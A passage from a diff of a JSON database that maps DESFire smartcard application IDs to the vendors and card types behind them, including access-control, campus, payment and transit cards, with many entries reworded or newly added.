{ @@ -68,7 +76,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -76,7 +84,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -84,7 +92,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -92,7 +100,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -100,7 +108,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -108,7 +116,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -116,7 +124,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -124,7 +132,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Unused Cardax Card Data Application (Alternative Endian)", + "Description": "Unused Cardax Card Data Application", "Type": "pacs" }, { @@ -132,7 +140,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Unused Cardax Card Data Application (Alternative Endian)", + "Description": "Unused Cardax Card Data Application", "Type": "pacs" }, { @@ -140,7 +148,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Unused Cardax Card Data Application (Alternative Endian)", + "Description": "Unused Cardax Card Data Application", "Type": "pacs" }, { @@ -148,7 +156,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Card Application Directory (CAD) (Alternative Endian)", + "Description": "Card Application Directory (CAD)", "Type": "pacs" }, { @@ -163,168 +171,80 @@ "AID": "53494F", "Vendor": "HID", "Country": "US", - "Name": "Access Control", - "Description": "HID Factory", + "Name": "SIO DESFire EV1 - HID Factory", + "Description": "Access Control", "Type": "pacs" }, { "AID": "6F706C", "Vendor": "Openpath", "Country": "US", - "Name": "Access control", - "Description": "Openpath PACS Application", + "Name": "Openpath PACS Application", + "Description": "Access Control", "Type": "pacs" }, { "AID": "706000", "Vendor": "RBH Access Technologies, Inc.", "Country": "CA", - "Name": "Access Control", - "Description": "BlueLINE EV1 PACS Credential", + "Name": "BlueLINE EV1 PACS Credential", + "Description": "Access Control", "Type": "pacs" }, { "AID": "D3494F", "Vendor": "HID", "Country": "US", - "Name": "SIO DESFire EV1", - "Description": "Field Encoder", + "Name": "SIO DESFire EV1 - Field Encoder", + "Description": "Access Control", "Type": "pacs" }, { "AID": "D9494F", "Vendor": "HID", "Country": "US", - "Name": "Access control", - "Description": "Field Encoder", + "Name": "SIO DESFire EV1 - Field Encoder", + "Description": "Access Control", "Type": "pacs" }, { - "AID": "F48120", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", + "AID": "F47300", + "Vendor": "Inner Range Pty Ltd", + "Country": "AU", + "Name": "SIFER-P / SIFER-U Credential", + "Description": "Inner Range Access Control", "Type": "pacs" }, { - "AID": "F48121", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", + "AID": "F473A0", + "Vendor": "Securitron via ASSA ABLOY", + "Country": "US", + "Name": "Securitron DESFire EV2 Credential", + "Description": "Securitron DESFire EV2 Credential", "Type": "pacs" }, { - "AID": "F48122", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", + "AID": "F484D1", + "Vendor": "HID", + "Country": "US", + "Name": "Unknown DESFire EV1", + "Description": "Access Control", "Type": "pacs" }, { - "AID": "F48123", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", + "AID": "F484E3", + "Vendor": "HID", + "Country": "US", + "Name": "SIO DESFire EV3 - Field Encoder", + "Description": "Access Control", "Type": "pacs" }, { - "AID": "F48124", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F48125", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F48126", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F48127", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F48128", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F48129", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F4812A", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F4812B", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F4812C", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Unused Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F4812D", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Unused Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F4812E", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Unused Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "F4812F", - "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", - "Country": "NZ", - "Name": "Gallagher Security Credential", - "Description": "Card Application Directory (CAD)", + "AID": "F484E4", + "Vendor": "HID", + "Country": "US", + "Name": "SIO DESFire EV3 - HID Factory", + "Description": "Access Control", "Type": "pacs" }, { @@ -332,7 +252,7 @@ "Vendor": "Salto Systems", "Country": "ES", "Name": "Salto Systems", - "Description": "", + "Description": "Access Control", "Type": "pacs" }, { @@ -343,17 +263,25 @@ "Description": "Key as a Service // FID 01: Standard Data", "Type": "pacs" }, + { + "AID": "F51780", + "Vendor": "ASSA ABLOY", + "Country": "SE", + "Name": "SMARTair", + "Description": "SMARTair Credential", + "Type": "pacs" + }, { "AID": "F51BC0", "Vendor": "STid Group", "Country": "FR", "Name": "CCT Card / DTA Tag / PCG Fob", - "Description": "STid Easyline / Architect Access Credetials", + "Description": "STid Easyline / Architect Access Credentials", "Type": "pacs" }, { "AID": "F52310", - "Vendor": "Integrated Control Technology Limited [ICT]", + "Vendor": "Integrated Control Technology Limited (ICT)", "Country": "NZ", "Name": "ICT Access Credential", "Description": "Default Primary Application", @@ -361,7 +289,7 @@ }, { "AID": "F52318", - "Vendor": "Integrated Control Technology Limited [ICT]", + "Vendor": "Integrated Control Technology Limited (ICT)", "Country": "NZ", "Name": "ICT Access Credential", "Description": "Default Custom Application", @@ -369,7 +297,7 @@ }, { "AID": "F5231E", - "Vendor": "Integrated Control Technology Limited [ICT]", + "Vendor": "Integrated Control Technology Limited (ICT)", "Country": "NZ", "Name": "ICT Access Credential", "Description": "Interoperability Application", @@ -377,7 +305,7 @@ }, { "AID": "F5231F", - "Vendor": "Integrated Control Technology Limited [ICT]", + "Vendor": "Integrated Control Technology Limited (ICT)", "Country": "NZ", "Name": "ICT Access Credential", "Description": "Third-Party Locking Application", @@ -391,6 +319,14 @@ "Description": "Digital Keys Sent To The dormakaba mobile access App", "Type": "pacs" }, + { + "AID": "F534F1", + "Vendor": "MOBOTIX AG", + "Country": "DE", + "Name": "MOBOTIX AG Access Credential", + "Description": "T26 Outdoor Station and Access Module Credential", + "Type": "pacs" + }, { "AID": "F518F0", "Vendor": "Telenot Electronic GmbH", @@ -399,6 +335,30 @@ "Description": "", "Type": "alarm system" }, + { + "AID": "010010", + "Vendor": "ASSA ABLOY", + "Country": "GB", + "Name": "Campus Card", + "Description": "Campus Card", + "Type": "student" + }, + { + "AID": "030020", + "Vendor": "Algonquin College of Applied Arts and Technology", + "Country": "CA", + "Name": "Campus Card", + "Description": "Campus Card", + "Type": "student" + }, + { + "AID": "050030", + "Vendor": "Algonquin College of Applied Arts and Technology", + "Country": "CA", + "Name": "Campus Card", + "Description": "Campus Card", + "Type": "student" + }, { "AID": "05845F", "Vendor": "InterCard GmbH Kartensysteme", @@ -407,6 +367,14 @@ "Description": "Campus Card", "Type": "student" }, + { + "AID": "070090", + "Vendor": "Algonquin College of Applied Arts and Technology", + "Country": "CA", + "Name": "Campus Card", + "Description": "Campus Card", + "Type": "student" + }, { "AID": "15845F", "Vendor": "InterCard GmbH Kartensysteme", @@ -423,6 +391,14 @@ "Description": "Campus Card", "Type": "student" }, + { + "AID": "3086F5", + "Vendor": "CNOUS/CROUS via MONECARTE", + "Country": "FR", + "Name": "European Student Card (ESC)", + "Description": "Multiservice Student Card", + "Type": "student" + }, { "AID": "35845F", "Vendor": "InterCard GmbH Kartensysteme", @@ -431,6 +407,54 @@ "Description": "Campus Card", "Type": "student" }, + { + "AID": "4085F5", + "Vendor": "CNOUS/CROUS via MONECARTE", + "Country": "FR", + "Name": "European Student Card (ESC)", + "Description": "Multiservice Student Card", + "Type": "student" + }, + { + "AID": "764970", + "Vendor": "Ubiquiti Inc", + "Country": "N/A", + "Name": "UniFi Access VID App", + "Description": "Contains issuer-signed static credential information used for KDF & other authentication operations", + "Type": "pacs" + }, + { + "AID": "84D3FC", + "Vendor": "Ubiquiti Inc", + "Country": "N/A", + "Name": "UniFi Access FCD App", + "Description": "Contains static credential information used for KDF & other authentication operations", + "Type": "pacs" + }, + { + "AID": "416343", + "Vendor": "Ubiquiti Inc", + "Country": "N/A", + "Name": "UniFi Access ACC App", + "Description": "Application created after enrollment into the system, containins unique authentication info", + "Type": "pacs" + }, + { + "AID": "454955", + "Vendor": "Ubiquiti Inc", + "Country": "N/A", + "Name": "UniFi Access Touch Pass Apple Wallet Express", + "Description": "AID value is 'UIE' (UniFi Express) reversed. This app is selectable with or without auth", + "Type": "pacs" + }, + { + "AID": "534955", + "Vendor": "Ubiquiti Inc", + "Country": "N/A", + "Name": "UniFi Access Touch Pass Apple Wallet Secure", + "Description": "AID value is 'UIS' (UniFi Secure) reversed. This app is selectable only after manual auth", + "Type": "pacs" + }, { "AID": "535501", "Vendor": "TU Delft", @@ -543,6 +567,14 @@ "Description": "Campus Card", "Type": "student" }, + { + "AID": "7086F5", + "Vendor": "CNOUS/CROUS via MONECARTE", + "Country": "FR", + "Name": "European Student Card (ESC)", + "Description": "Multiservice Student Card", + "Type": "student" + }, { "AID": "75845F", "Vendor": "InterCard GmbH Kartensysteme", @@ -551,6 +583,22 @@ "Description": "Campus Card", "Type": "student" }, + { + "AID": "9180F3", + "Vendor": "CNOUS/CROUS via MONECARTE", + "Country": "FR", + "Name": "European Student Card (ESC)", + "Description": "Multiservice Student Card", + "Type": "student" + }, + { + "AID": "A086F5", + "Vendor": "CNOUS/CROUS via MONECARTE", + "Country": "FR", + "Name": "European Student Card (ESC)", + "Description": "Multiservice Student Card", + "Type": "student" + }, { "AID": "BBBBB3", "Vendor": "Transact Campus Inc.", @@ -583,6 +631,38 @@ "Description": "Campus Card", "Type": "student" }, + { + "AID": "CA1827", + "Vendor": "Transact Campus Inc.", + "Country": "US", + "Name": "Transact Campus ID (Custom AID)", + "Description": "Campus Card", + "Type": "student" + }, + { + "AID": "EEE010", + "Vendor": "ASSA ABLOY", + "Country": "GB", + "Name": "Campus Card", + "Description": "Campus Card", + "Type": "student" + }, + { + "AID": "F33480", + "Vendor": "Besucherausweis", + "Country": "DE", + "Name": "Visitor Badge", + "Description": "Besucherausweis", + "Type": "student" + }, + { + "AID": "F482D0", + "Vendor": "Besucherausweis", + "Country": "DE", + "Name": "Visitor's Pass", + "Description": "Besucherausweis", + "Type": "student" + }, { "AID": "F48EF1", "Vendor": "TU Delft", @@ -671,6 +751,14 @@ "Description": "", "Type": "payment system" }, + { + "AID": "F380F0", + "Vendor": "Air Amsterdam via Microtronic AG", + "Country": "NL", + "Name": "Club AIR Amsterdam Card", + "Description": "AIR Amsterdam Prepaid Card", + "Type": "payment system" + }, { "AID": "C26001", "Vendor": "car2go", @@ -684,20 +772,28 @@ "Vendor": "Invalid / Reserved", "Country": "", "Name": "Invalid / Reserved", - "Description": "Used by ATL Breeze, MAD Public Transport Card, and YVR Compass", + "Description": "Used by ATL Breeze, PHL FREEDOM, and YVR Compass", + "Type": "transport" + }, + { + "AID": "000005", + "Vendor": "Transports Metropolitans de Barcelona (TMB)", + "Country": "ES", + "Name": "T-mobilitat (BCN)", + "Description": "BCN T-mobilitat", "Type": "transport" }, { "AID": "0000F0", - "Vendor": "Metropolitan Transportation Authority (MTA)", - "Country": "US", - "Name": "OMNY (One Metro New York) (JFK)", - "Description": "JFK OMNY (One Metro New York) Card", + "Vendor": "Metropolitan Transportation Authority (MTA) / Bayerische Motoren Werke (BMW) AG", + "Country": "US / DE", + "Name": "OMNY (One Metro New York) (JFK) / BMW Digital Key", + "Description": "JFK OMNY (One Metro New York) Card / BMW Digital Key 5B3611-01", "Type": "transport" }, { "AID": "002000", - "Vendor": "Metrolinx", + "Vendor": "Metrolinx via Accenture", "Country": "CA", "Name": "PRESTO Card (YYZ/YHM/YOW)", "Description": "FIDs 00,0F: Backup Data; 08-0E,10-14: Standard Data", @@ -705,17 +801,17 @@ }, { "AID": "010000", - "Vendor": "Consorcio Regional de Transportes Públicos Regulares de Madrid (CRTM)", + "Vendor": "Consorcio Regional de Transportes Publicos Regulares de Madrid (CRTM)", "Country": "ES", - "Name": "Tarjeta Transporte Publico (MAD) (Alternative Endian)", - "Description": "MAD Public Transport Card (Alternative Endian)", + "Name": "Tarjeta Transporte Publico (MAD)", + "Description": "MAD Public Transport Card", "Type": "transport" }, { "AID": "012242", "Vendor": "Belbim", "Country": "TR", - "Name": "İstanbulkart (IST)", + "Name": "Istanbulkart (IST)", "Description": "IST Istanbul Card (eBilet App)", "Type": "transport" }, @@ -723,8 +819,8 @@ "AID": "014D44", "Vendor": "Delhi Metro Rail Corporation Limited", "Country": "IN", - "Name": "Delhi Metro Travel Card (DEL)", - "Description": "DEL Delhi Metro App 1", + "Name": "Delhi Metro Travel Card (DEL) (Alternative Endian)", + "Description": "DEL Delhi Metro (App 1)", "Type": "transport" }, { @@ -735,35 +831,91 @@ "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", "Type": "transport" }, + { + "AID": "0183F1", + "Vendor": "Wroclaw Urban Transportation System ", + "Country": "PL", + "Name": "URBANCARD (WRO)", + "Description": "WRO URBANCARD (URBANCARD Holder App)", + "Type": "transport" + }, { "AID": "024D44", "Vendor": "Delhi Metro Rail Corporation Limited", "Country": "IN", - "Name": "Delhi Metro Travel Card (DEL)", - "Description": "DEL Delhi Metro App 2", + "Name": "Delhi Metro Travel Card (DEL) (Alternative Endian)", + "Description": "DEL Delhi Metro (App 2)", + "Type": "transport" + }, + { + "AID": "025342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "0283F1", + "Vendor": "Wroclaw Urban Transportation System ", + "Country": "PL", + "Name": "URBANCARD (WRO)", + "Description": "WRO URBANCARD (URBANCARD EP App)", "Type": "transport" }, { "AID": "034D44", "Vendor": "Delhi Metro Rail Corporation Limited", "Country": "IN", - "Name": "Delhi Metro Travel Card (DEL)", - "Description": "DEL Delhi Metro App 3", + "Name": "Delhi Metro Travel Card (DEL) (Alternative Endian)", + "Description": "DEL Delhi Metro (App 3)", + "Type": "transport" + }, + { + "AID": "035342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "0383F1", + "Vendor": "Wroclaw Urban Transportation System ", + "Country": "PL", + "Name": "URBANCARD (WRO)", + "Description": "WRO URBANCARD (URBANCARD Term App)", + "Type": "transport" + }, + { + "AID": "042242", + "Vendor": "Belbim", + "Country": "TR", + "Name": "Istanbulkart (IST)", + "Description": "IST Istanbul Card (Unknown App)", "Type": "transport" }, { "AID": "044D44", "Vendor": "Delhi Metro Rail Corporation Limited", "Country": "IN", - "Name": "Delhi Metro Travel Card (DEL)", - "Description": "DEL Delhi Metro App 4", + "Name": "Delhi Metro Travel Card (DEL) (Alternative Endian)", + "Description": "DEL Delhi Metro (App 4)", + "Type": "transport" + }, + { + "AID": "045342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", "Type": "transport" }, { "AID": "052242", "Vendor": "Belbim", "Country": "TR", - "Name": "İstanbulkart (IST)", + "Name": "Istanbulkart (IST)", "Description": "IST Istanbul Card (ISPARK App)", "Type": "transport" }, @@ -771,15 +923,23 @@ "AID": "054D44", "Vendor": "Delhi Metro Rail Corporation Limited", "Country": "IN", - "Name": "Delhi Metro Travel Card (DEL)", - "Description": "DEL Delhi Metro App 5", + "Name": "Delhi Metro Travel Card (DEL) (Alternative Endian)", + "Description": "DEL Delhi Metro (App 5)", + "Type": "transport" + }, + { + "AID": "055342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", "Type": "transport" }, { "AID": "062242", "Vendor": "Belbim", "Country": "TR", - "Name": "İstanbulkart (IST)", + "Name": "Istanbulkart (IST)", "Description": "IST Istanbul Card (App 6)", "Type": "transport" }, @@ -787,16 +947,120 @@ "AID": "064D44", "Vendor": "Delhi Metro Rail Corporation Limited", "Country": "IN", - "Name": "Delhi Metro Travel Card (DEL)", - "Description": "DEL Delhi Metro App 6", + "Name": "Delhi Metro Travel Card (DEL) (Alternative Endian)", + "Description": "DEL Delhi Metro (App 6)", + "Type": "transport" + }, + { + "AID": "065342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", "Type": "transport" }, { "AID": "074D44", "Vendor": "Delhi Metro Rail Corporation Limited", "Country": "IN", - "Name": "Delhi Metro Travel Card (DEL)", - "Description": "DEL Delhi Metro App 7", + "Name": "Delhi Metro Travel Card (DEL) (Alternative Endian)", + "Description": "DEL Delhi Metro (App 7)", + "Type": "transport" + }, + { + "AID": "075342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "085342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "087522", + "Vendor": "Umo Mobility via Cubic Transportation Systems", + "Country": "US / CA", + "Name": "Umo Mobility Card", + "Description": "Umo Mobility Card", + "Type": "transport" + }, + { + "AID": "095342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "0A5342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "0B5342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "0C5342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "0D5342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "0E5342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "0F5342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "105342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "115342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company (BEM)", + "Country": "TH", + "Name": "MRT Stored Value Card (BKK)", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", "Type": "transport" }, { @@ -807,17 +1071,105 @@ "Description": "DUB Leap Card // Transport for Ireland // FIDs: 01,1F: Backup Data; 02-0A: Standard Data", "Type": "transport" }, + { + "AID": "402301", + "Vendor": "Ministry of Transport, Communications and Works of the Republic of Cyprus", + "Country": "CY", + "Name": "motion BUS CARD (ECN)", + "Description": "ECN motion BUS CARD (App 1)", + "Type": "transport" + }, + { + "AID": "415431", + "Vendor": "Athens Urban Transport Organisation (OASA)", + "Country": "GR", + "Name": "ATH.ENA CARD (ATH)", + "Description": "ATH ATH.ENA CARD", + "Type": "transport" + }, + { + "AID": "444D01", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro (App 1)", + "Type": "transport" + }, + { + "AID": "444D02", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro (App 2)", + "Type": "transport" + }, + { + "AID": "444D03", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro (App 3)", + "Type": "transport" + }, + { + "AID": "444D04", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro (App 4)", + "Type": "transport" + }, + { + "AID": "444D05", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro (App 5)", + "Type": "transport" + }, + { + "AID": "444D06", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro (App 6)", + "Type": "transport" + }, + { + "AID": "444D07", + "Vendor": "Delhi Metro Rail Corporation Limited", + "Country": "IN", + "Name": "Delhi Metro Travel Card (DEL)", + "Description": "DEL Delhi Metro (App 7)", + "Type": "transport" + }, + { + "AID": "484000", + "Vendor": "Sistema de Tren Eletrico Urbano (SITEUR)", + "Country": "MX", + "Name": "Mi Movilidad Card (GDL)", + "Description": "GDL Mi Movilidad Card", + "Type": "transport" + }, { "AID": "4F5931", - "Vendor": "Transport for London (TfL)", + "Vendor": "Transport for London (TfL) via Cubic Transportation Systems", "Country": "UK", "Name": "Oyster Card (LHR)", "Description": "FIDs: 00-07: Standard Data", "Type": "transport" }, + { + "AID": "502301", + "Vendor": "Ministry of Transport, Communications and Works of the Republic of Cyprus", + "Country": "CY", + "Name": "motion BUS CARD (ECN)", + "Description": "ECN motion BUS CARD (App 2)", + "Type": "transport" + }, { "AID": "534531", - "Vendor": "Transport for New South Wales (TfNSW)", + "Vendor": "Transport for New South Wales (TfNSW) via Pearl Consortium", "Country": "AU", "Name": "Opal Card (SYD)", "Description": "FIDs 00-06: Standard Data; 07: Card Balance/Number and Trip History", @@ -825,7 +1177,7 @@ }, { "AID": "554000", - "Vendor": "Auckland Transport", + "Vendor": "Auckland Transport via Thales Group", "Country": "NZ", "Name": "AT HOP Card (AKL)", "Description": "FIDs: 00: Backup Data; 08/09/0A", @@ -835,7 +1187,7 @@ "AID": "578000", "Vendor": "Norwegian Public Roads Administration (NPRA)", "Country": "NO", - "Name": "NORTIC (Norway Public Transport Card)", + "Name": "NORTIC (Norway Public Transport Card) (Card Issuer App)", "Description": "Norwegian Ticketing Interoperable Concept // FID 0C: Card Issuer Header", "Type": "transport" }, @@ -843,10 +1195,18 @@ "AID": "578001", "Vendor": "Norwegian Public Roads Administration (NPRA)", "Country": "NO", - "Name": "NORTIC (Norway Public Transport Card)", + "Name": "NORTIC (Norway Public Transport Card) (Transport App)", "Description": "FIDs 01: Product Retailer; 02: Service Provider; 03: Special Event; 04: Stored Value; 05: General Event Log; 06: SV Reload Log; 0A: Environment; 0C: Card Holder", "Type": "transport" }, + { + "AID": "602301", + "Vendor": "Ministry of Transport, Communications and Works of the Republic of Cyprus", + "Country": "CY", + "Name": "motion BUS CARD (ECN)", + "Description": "ECN motion BUS CARD (App 3)", + "Type": "transport" + }, { "AID": "634000", "Vendor": "Doha Metro and Lusail Tram via Qatar Rail", @@ -855,6 +1215,22 @@ "Description": "DOH Standard / goldclub Travel Passes // FIDs 00,04-06: Standard; 01-03,17: Backup; 07-16,18: Value; 19: Cyclic; 1A: Linear", "Type": "transport" }, + { + "AID": "677F8E", + "Vendor": "Umo Mobility via Cubic Transportation Systems", + "Country": "US / CA", + "Name": "Umo Mobility Card", + "Description": "Umo Mobility Card", + "Type": "transport" + }, + { + "AID": "7A007A", + "Vendor": "Regional Transportation Commission of Southern Nevada (RTC) via Masabi Ltd", + "Country": "US", + "Name": "RTC TAP & GO (LAS)", + "Description": "LAS TAP & GO; Masabi Justride Tap and Ride DESFire Smartcard", + "Type": "transport" + }, { "AID": "784000", "Vendor": "Roads & Transport Authority (Government of Dubai)", @@ -863,22 +1239,78 @@ "Description": "DXB nol Card", "Type": "transport" }, + { + "AID": "992CB5", + "Vendor": "Umo Mobility via Cubic Transportation Systems", + "Country": "US / CA", + "Name": "Umo Mobility Card", + "Description": "Umo Mobility Card", + "Type": "transport" + }, { "AID": "A00216", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "EMR Smartcard (EMA) / GWR touch (BRS)", + "Name": "GWR touch (BRS) / EMR Smartcard (EMA) / WYTCL MCard (LBA)", "Description": "ITSO Public Transport Application // Provision of Citizen Services #0", "Type": "transport" }, { - "AID": "CA3490", + "AID": "A4237D", + "Vendor": "Umo Mobility via Cubic Transportation Systems", + "Country": "US / CA", + "Name": "Umo Mobility Card", + "Description": "Umo Mobility Card", + "Type": "transport" + }, + { + "AID": "C1B1A1", + "Vendor": "AHORROBUS via MOBILITY ADO", + "Country": "MX", + "Name": "AHORROBUS Card (MEX)", + "Description": "MEX AHORROBUS Card", + "Type": "transport" + }, + { + "AID": "C65B80", + "Vendor": 